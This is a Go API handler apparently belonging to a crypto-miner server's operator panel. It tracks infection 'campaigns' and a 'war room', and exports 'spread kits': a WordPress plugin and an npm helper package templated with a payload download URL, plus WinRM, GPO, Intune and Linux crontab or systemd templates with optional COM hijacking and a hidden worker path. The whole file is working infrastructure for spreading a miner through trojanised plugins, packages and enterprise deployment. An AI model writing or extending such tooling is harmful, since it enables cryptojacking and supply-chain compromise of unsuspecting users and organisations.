package api import ( "encoding/json" "fmt" "net/http" "os" "path/filepath" "strconv" "strings" "sync" "time" dbpkg "crypto-miner-server/internal/db" "crypto-miner-server/internal/erasure" "github.com/go-chi/chi/v5" ) // SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export. type SpreadHandler struct { db *dbpkg.Database dataDir string projectRoot string wsHub *WSHub publicURL func() string erasureShards *erasure.ShardStore deployPlan *DeployPlanHandler s3CRRConfigFn func() erasure.S3ShardConfig notesMu sync.RWMutex } func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) { if h != nil { h.erasureShards = store } } func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) { if h != nil { h.deployPlan = handler } } func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) { if h != nil { h.s3CRRConfigFn = fn } } // GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls). func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) { if h == nil || h.s3CRRConfigFn == nil { http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable) return } doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn()) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } writeJSON(w, map[string]interface{}{ "template": "templates/spread/aws/s3-crr-rule.json", "rule": doc, "notes": "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/", }) } func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler { return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub} } func (h *SpreadHandler) notesPath() string { return filepath.Join(h.dataDir, "emberwake-notes.json") } type emberwakeNotes struct { Content string `json:"content"` UpdatedAt string `json:"updated_at"` UpdatedBy string `json:"updated_by"` } func (h *SpreadHandler) readNotes() emberwakeNotes { h.notesMu.RLock() defer h.notesMu.RUnlock() data, err := os.ReadFile(h.notesPath()) if err != nil { return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""} } var n emberwakeNotes if json.Unmarshal(data, &n) != nil { return emberwakeNotes{} } return n } func (h *SpreadHandler) writeNotes(n emberwakeNotes) error { h.notesMu.Lock() defer h.notesMu.Unlock() data, err := json.MarshalIndent(n, "", " ") if err != nil { return err } return os.WriteFile(h.notesPath(), data, 0644) } // GET /api/v1/emberwake/notes func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) { writeJSON(w, h.readNotes()) } // PUT /api/v1/emberwake/notes func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) { var body struct { Content string `json:"content"` } if err := json.NewDecoder(r.Body).Decode(&body); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } n := emberwakeNotes{ Content: body.Content, UpdatedAt: time.Now().UTC().Format(time.RFC3339), UpdatedBy: AuthUsername(r), } if err := h.writeNotes(n); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if h.wsHub != nil { h.wsHub.BroadcastEmberwakeNotes(n) } writeJSON(w, n) } // GET /api/v1/emberwake/campaigns func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) { hits, err := h.db.ListCampaignHits(50) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if hits == nil { hits = []dbpkg.CampaignHitSummary{} } writeJSON(w, map[string]interface{}{"campaigns": hits}) } // GET /api/v1/emberwake/war-room?days=7 func (h *SpreadHandler) GetWarRoom(w http.ResponseWriter, r *http.Request) { days := 7 if raw := strings.TrimSpace(r.URL.Query().Get("days")); raw != "" { if n, err := strconv.Atoi(raw); err == nil && n > 0 && n <= 90 { days = n } } data, err := h.db.ListWarRoom(days) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, data) } type spreadKitExportRequest struct { BuildID string `json:"build_id"` ServerURL string `json:"server_url"` Campaign string `json:"campaign"` } type wordpressPluginExportRequest struct { BuildID string `json:"build_id"` ServerURL string `json:"server_url"` Campaign string `json:"campaign"` SiteName string `json:"site_name"` } type npmHelperExportRequest struct { BuildID string `json:"build_id"` ServerURL string `json:"server_url"` Campaign string `json:"campaign"` } type spreadTemplateExportRequest struct { Template string `json:"template"` // winrm | linux-lotl | gpo | intune ServerURL string `json:"server_url"` BuildID string `json:"build_id"` Campaign string `json:"campaign"` COMHijack bool `json:"com_hijack"` LOTLMode string `json:"lotl_mode"` // systemd_run_user | crontab | both | off AgentPath string `json:"agent_path"` } // POST /api/v1/builder/spread-kit-export func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) { var req spreadKitExportRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } req.BuildID = strings.TrimSpace(req.BuildID) req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/") req.Campaign = strings.TrimSpace(req.Campaign) if req.ServerURL == "" { http.Error(w, "server_url required", http.StatusBadRequest) return } templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher") if _, err := os.Stat(templateDir); err != nil { http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound) return } querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign) repl := map[string]string{ "{{SERVER_URL}}": req.ServerURL, "{{BUILD_ID}}": req.BuildID, "{{CAMPAIGN}}": req.Campaign, "{{QUERY_SUFFIX}}": querySuffix, "{{GET_QUERY_SUFFIX}}": getQuerySuffix, "{{CAMPAIGN_QUERY}}": querySuffix, "{{PIN_QUERY}}": "", } data, err := zipTemplateReplacements(templateDir, repl, nil) if err != nil { http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError) return } filename := "emberwake-spread-kit.zip" if req.Campaign != "" { filename = "emberwake-" + sanitizeExportSlug(req.Campaign) + ".zip" } writeZipAttachment(w, filename, data) } // POST /api/v1/builder/wordpress-plugin-export func (h *SpreadHandler) ExportWordPressPlugin(w http.ResponseWriter, r *http.Request) { var req wordpressPluginExportRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } req.BuildID = strings.TrimSpace(req.BuildID) req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/") req.Campaign = strings.TrimSpace(req.Campaign) req.SiteName = strings.TrimSpace(req.SiteName) if req.ServerURL == "" { http.Error(w, "server_url required", http.StatusBadRequest) return } if req.SiteName == "" { http.Error(w, "site_name required", http.StatusBadRequest) return } templateDir := filepath.Join(h.projectRoot, "templates", "wordpress-plugin", "plugin-template") if _, err := os.Stat(templateDir); err != nil { http.Error(w, "wordpress plugin templates not found", http.StatusNotFound) return } slug := sanitizeExportSlug(req.SiteName) wpCampaign := "wp-" + slug downloadURL := req.ServerURL + "/get?c=" + wpCampaign if req.BuildID != "" { downloadURL += "&pin=" + req.BuildID } repl := map[string]string{ "{{SERVER_URL}}": req.ServerURL, "{{BUILD_ID}}": req.BuildID, "{{CAMPAIGN}}": wpCampaign, "{{SITE_NAME}}": slug, "{{PLUGIN_SLUG}}": slug, "{{PLUGIN_NAME}}": slugDisplayName(slug), "{{WP_CAMPAIGN}}": wpCampaign, "{{DOWNLOAD_URL}}": downloadURL, "{{VERSION}}": "1.0.0", } remap := func(rel string) string { rel = filepath.ToSlash(rel) if rel == "plugin.php" { return slug + "/" + slug + ".php" } return slug + "/" + rel } data, err := zipTemplateReplacements(templateDir, repl, remap) if err != nil { http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError) return } writeZipAttachment(w, slug+"-wordpress-plugin.zip", data) } // POST /api/v1/builder/npm-helper-export func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request) { var req npmHelperExportRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } req.BuildID = strings.TrimSpace(req.BuildID) req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/") req.Campaign = strings.TrimSpace(req.Campaign) if req.ServerURL == "" { http.Error(w, "server_url required", http.StatusBadRequest) return } if req.Campaign == "" { req.Campaign = "npm-helper" } templateDir := filepath.Join(h.projectRoot, "templates", "npm-helper-package") if _, err := os.Stat(templateDir); err != nil { http.Error(w, "npm helper templates not found", http.StatusNotFound) return } querySuffix, _ := buildQuerySuffix(req.BuildID, req.Campaign) pkgName := "@aetherforge/" + sanitizeExportSlug(req.Campaign) + "-helper" repl := map[string]string{ "{{SERVER_URL}}": req.ServerURL, "{{BUILD_ID}}": req.BuildID, "{{CAMPAIGN}}": req.Campaign, "{{QUERY_SUFFIX}}": querySuffix, "{{PACKAGE_NAME}}": pkgName, } data, err := zipTemplateReplacements(templateDir, repl, nil) if err != nil { http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError) return } writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data) } // POST /api/v1/builder/spread-template-export func (h *SpreadHandler) ExportSpreadTemplate(w http.ResponseWriter, r *http.Request) { var req spreadTemplateExportRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } req.Template = strings.TrimSpace(strings.ToLower(req.Template)) req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/") req.BuildID = strings.TrimSpace(req.BuildID) req.Campaign = strings.TrimSpace(req.Campaign) req.LOTLMode = strings.TrimSpace(req.LOTLMode) req.AgentPath = strings.TrimSpace(req.AgentPath) if req.ServerURL == "" { http.Error(w, "server_url required", http.StatusBadRequest) return } if req.Template == "" { http.Error(w, "template required (winrm|linux-lotl|gpo|intune)", http.StatusBadRequest) return } subdir, filename, err := spreadTemplatePaths(req.Template) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } templateDir := filepath.Join(h.projectRoot, "templates", "spread", subdir) if _, err := os.Stat(templateDir); err != nil { http.Error(w, "spread template not found: "+subdir, http.StatusNotFound) return } querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign) comHijack := "false" if req.COMHijack { comHijack = "true" } lotlMode := req.LOTLMode if lotlMode == "" { lotlMode = "systemd_run_user" } agentPath := req.AgentPath if agentPath == "" { agentPath = `C:\ProgramData\AetherForge\worker.exe` } repl := map[string]string{ "{{SERVER_URL}}": req.ServerURL, "{{BUILD_ID}}": req.BuildID, "{{CAMPAIGN}}": req.Campaign, "{{QUERY_SUFFIX}}": querySuffix, "{{GET_QUERY_SUFFIX}}": getQuerySuffix, "{{COM_HIJACK}}": comHijack, "{{LOTL_MODE}}": lotlMode, "{{AGENT_PATH}}": agentPath, } data, err := zipTemplateReplacements(templateDir, repl, nil) if err != nil { http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError) return } writeZipAttachment(w, filename, data) } func spreadTemplatePaths(template string) (subdir, zipName string, err error) { switch template { case "winrm": return "winrm", "aetherforge-winrm-bootstrap.zip", nil case "linux-lotl", "linux_lotl": return "linux", "aetherforge-linux-lotl.zip", nil case "gpo", "enterprise-gpo": return "enterprise", "aetherforge-gpo-startup.zip", nil case "intune", "enterprise-intune": return "enterprise", "aetherforge-intune-startup.zip", nil default: return "", "", fmt.Errorf("unknown template %q", template) } } // PUT /api/v1/builds/{id}/public func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") var body struct { Public bool `json:"public"` } if err := json.NewDecoder(r.Body).Decode(&body); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } if err := h.db.SetBuildPublic(id, body.Public); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public}) }